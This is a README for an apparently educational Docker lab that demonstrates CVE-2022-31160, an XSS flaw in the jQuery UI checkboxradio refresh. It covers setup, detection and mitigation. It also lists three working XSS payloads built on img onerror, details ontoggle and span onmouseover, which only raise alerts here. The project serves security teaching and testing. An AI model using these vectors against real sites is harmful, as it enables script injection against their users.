This project demonstrates the jQuery UI Checkboxradio Widget Refresh Vulnerability (CVE-2022-31160), which allows HTML entity decoding during widget refresh operations, potentially leading to Cross-Site Scripting (XSS) attacks.
- Do NOT use on production systems
- Only use in controlled environments
- Intended for security research and education
- Vulnerability Overview
- Quick Start
- Project Structure
- Demonstrations
- Technical Details
- Docker Usage
- Security Analysis
- Mitigation
- Contributing
- Component: jQuery UI Checkboxradio Widget
- Affected Versions: jQuery UI β€ 1.13.1
- Vulnerability Type: Cross-Site Scripting (XSS) via HTML Entity Decoding
- CVSS Score: 6.1 (Medium)
- First Published: July 20, 2022
When a checkboxradio widget is initialized on an input enclosed within a label, calling .checkboxradio("refresh") on the widget causes HTML entities in the label content to be erroneously decoded. This can convert safely encoded malicious content into executable JavaScript.
<!-- Safe encoded content -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>- Docker installed on your system
- Web browser with developer tools
- Basic understanding of web security concepts
# Clone or navigate to the project directory
cd jquery-cve-2022-31160
# Build the Docker image
docker build -t jquery-cve-2022-31160 .
# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160Once the container is running, access:
- Simplified Survey Demo: http://localhost:3000/survey
- Alternative Survey URL: http://localhost:3000/simplified-survey
jquery-cve-2022-31160/
βββ README.md # This documentation
βββ Dockerfile # Docker container configuration
βββ package.json # Node.js dependencies
βββ server.js # Express.js server
βββ simplified-survey.html # Survey-style demonstration
URL: http://localhost:3000/survey
- Survey-style interface
- Multiple vulnerability scenarios
- Enhanced visual feedback
Features:
- 4 different checkbox options demonstrating various scenarios:
- Safe Option: No encoded entities (control group)
- Network Security XSS:
<img src=x onerror="...">- Immediate execution - Mobile Security XSS:
<details ontoggle="..." open>- Immediate execution - Cloud Security XSS:
<span onmouseover="...">- Interactive execution
Analysis Tools:
- Detailed console logging
- XSS execution alerts
- Step-by-step vulnerability tracking
- Widget Initialization: jQuery UI creates checkboxradio widget
- HTML Entity Storage: Label content with encoded entities is processed
- Refresh Trigger:
.checkboxradio("refresh")is called - Entity Decoding: jQuery UI erroneously decodes HTML entities
- XSS Execution: Decoded malicious content becomes executable
// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerabilityThe demonstrations include various payloads to test different XSS execution methods:
<!-- Network Security: Error event XSS (Immediate execution) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud Security: Interactive XSS (User interaction required) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>- Trigger: Immediate when element is inserted into DOM
- Reliability: Very high (always fails with
src=x) - Use Case: Demonstrates immediate XSS execution
- Real-World Risk: High - commonly bypasses input filters
- Trigger: When details element open/close state changes
- Reliability: Very high (guaranteed trigger with
openattribute) - Use Case: Immediate execution on DOM insertion
- Real-World Risk: High - reliable cross-browser execution
- Trigger: Requires user interaction (hover)
- Reliability: High when user interacts
- Use Case: Social engineering scenarios
- Real-World Risk: Medium - requires user engagement
Event Handler Advantages:
- Execute when element is inserted via
innerHTML - Bypass
<script>tag restrictions - Work across different browsers consistently
- Don't require external resources to load
- State-based triggers (like
ontoggle) are highly reliable
Encoding Bypass:
- HTML entities (
<,") get decoded by jQuery UI refresh - Transforms safe encoded content into executable code
- Demonstrates real-world sanitization bypass
- Multiple execution vectors show attack surface diversity
docker build -t jquery-cve-2022-31160 .# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160
# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160
# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160# List running containers
docker ps
# Stop the container
docker stop jquery-cve-2022-31160
# Remove the container
docker rm jquery-cve-2022-31160
# Remove the image
docker rmi jquery-cve-2022-31160- Severity: Medium (CVSS 6.1)
- Attack Complexity: Low
- User Interaction: Required (page interaction)
- Scope: Unchanged (same-origin)
- Confidentiality: Low impact
- Integrity: Low impact
- Availability: None
This vulnerability can be exploited in applications that:
- Use jQuery UI checkboxradio widgets
- Allow user-generated content in labels
- Sanitize content using HTML entity encoding
- Programmatically refresh widgets
- Static Analysis: Search for
.checkboxradio("refresh")calls - Dynamic Analysis: Monitor HTML content changes during widget operations
- Automated Scanning: Use tools that can detect DOM-based XSS
- Manual Testing: Test widget refresh with encoded payloads
- Update jQuery UI: Upgrade to version 1.13.2 or later
- Input Validation: Implement proper server-side validation
- Content Security Policy: Deploy restrictive CSP headers
- Output Encoding: Use context-appropriate output encoding
// Before refresh, sanitize or validate content
function safeRefresh(element) {
// Validate label content before refresh
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Check for potentially dangerous content
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Potentially dangerous content detected');
return;
}
element.checkboxradio("refresh");
}// Express.js security headers
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});This project serves as an educational resource for:
- Security Researchers: Understanding DOM manipulation vulnerabilities
- Web Developers: Learning about jQuery UI security considerations
- Penetration Testers: Practical XSS exploitation techniques
- Security Students: Hands-on vulnerability analysis
- CVE-2022-31160 Official Entry
- jQuery UI Security Advisory
- OWASP XSS Prevention Cheat Sheet
- CWE-79: Cross-site Scripting
When using this demonstration:
- Verify jQuery UI version (should be 1.13.0)
- Test with developer tools open (F12)
- Access survey at http://localhost:3000/survey
- Check console for initialization messages
- Click "π Refresh Widgets" button
- Network Security Option: Verify immediate alert execution
- Mobile Security Option: Verify immediate alert execution
- Cloud Security Option: Hover over "[Hover to trigger]" text
- Check console for detailed vulnerability logging
- Validate XSS payload execution (3 different types)
- Test widget reset functionality
- Verify checkbox visual feedback works correctly
Contributions are welcome! Please:
- Fork the repository
- Create a feature branch
- Make your changes
- Add appropriate documentation
- Submit a pull request
- Additional payload examples
- More detailed analysis tools
- Enhanced visual demonstrations
This software is provided for educational and research purposes only. The authors and contributors:
- Are not responsible for any misuse of this software
- Do not encourage or condone malicious activities
- Recommend using only in authorized testing environments
- Advise following responsible disclosure practices
This project is provided under the MIT License for educational purposes.
Created for security research and education | Use responsibly | Report vulnerabilities through proper channels